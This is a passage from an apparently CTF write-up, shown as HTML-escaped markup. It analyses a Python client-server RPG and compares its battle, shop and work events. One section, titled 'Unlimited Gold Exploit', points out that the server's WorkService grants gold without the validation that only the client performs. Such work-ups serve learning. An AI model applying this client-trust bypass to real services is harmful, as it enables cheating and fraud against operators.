&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;client.error&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;client.ui&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;screens&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;core.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Boss&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Result&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BattleEvent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;GameClient&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boss&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Boss&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetch_next_boss&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__display&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

            &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__get_battle_command&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ATTACK&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__attack_boss&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boss&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_dead&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                        &lt;span class="k"&gt;break&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HEAL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__use_potion&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RUN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RUN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                    &lt;span class="k"&gt;return&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="k"&gt;continue&lt;/span&gt;

            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;receive_attack_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boss&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_dead&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;

        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VALIDATE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_dead&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__handle_death&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetch_result&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VALIDATED_OK&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;screens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display_boss_slain_screen&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;
            &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OBTAINED_FLAG&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;screens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display_flag_screen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetch_flag&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
                &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;screens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display_error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RECEIVED_MALFORMED_RESULT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__use_potion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HEAL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use_potion&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__attack_boss&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ATTACK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boss&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;receive_attack_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__handle_death&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;screens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display_game_over_screen&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__display&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;screens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display_battle_screen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;boss&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boss&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__get_battle_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ATTACK&lt;/span&gt;
            &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HEAL&lt;/span&gt;
            &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RUN&lt;/span&gt;
            &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Discrepancy Found between Client &amp;amp; Server Events
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Battle
&lt;/h4&gt;

&lt;p&gt;There are generally no discrepancies, as shown in the codes above.&lt;/p&gt;

&lt;p&gt;Generally after an attack command, the server will register an extra boss attack command on their side too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__send_next_boss&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log_commands_from_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv_command_str&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

            &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;latest&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ATTACK&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HEAL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BOSS_ATTACK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VALIDATE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="k"&gt;break&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RUN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="k"&gt;return&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Shop
&lt;/h4&gt;

&lt;p&gt;The client side code &lt;code&gt;client/event/shopevent.py&lt;/code&gt; only handles sending the commands, and does not update the local player model.&lt;/p&gt;

&lt;p&gt;The server side codes &lt;code&gt;server/event/buyswordservice.py&lt;/code&gt; and &lt;code&gt;server/event/buypotionservice.py&lt;/code&gt; generally handle the main validation, which only checks if the player has enough gold to buy.&lt;/p&gt;

&lt;h4&gt;
  
  
  Unlimited Gold Exploit
&lt;/h4&gt;

&lt;p&gt;After some digging, and checking each of the potential events, I found out discrepancies between the work service.&lt;/p&gt;

&lt;p&gt;The Server code does not do any validation in &lt;code&gt;server/event/workservice.py&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;__future__&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;annotations&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;TYPE_CHECKING&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;core.config&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;WORK_SALARY&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;TYPE_CHECKING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;GameServer&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;WorkService&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;GameServer&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gold&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;WORK_SALARY&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Client code does validation in &lt;code&gt;client/event/workevent.py&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;GameClient&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;client.ui&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;screens&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;core.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;

&lt;span class="n"&gt;CREEPER_ENCOUNTER_CHANCE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.2&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;WorkEvent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;GameClient&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;CREEPER_ENCOUNTER_CHANCE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__die_to_creeper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__mine_safely&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__die_to_creeper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;screens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display_creeper_screen&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;screens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display_game_over_screen&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__mine_safely&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;screens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display_working_screen&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
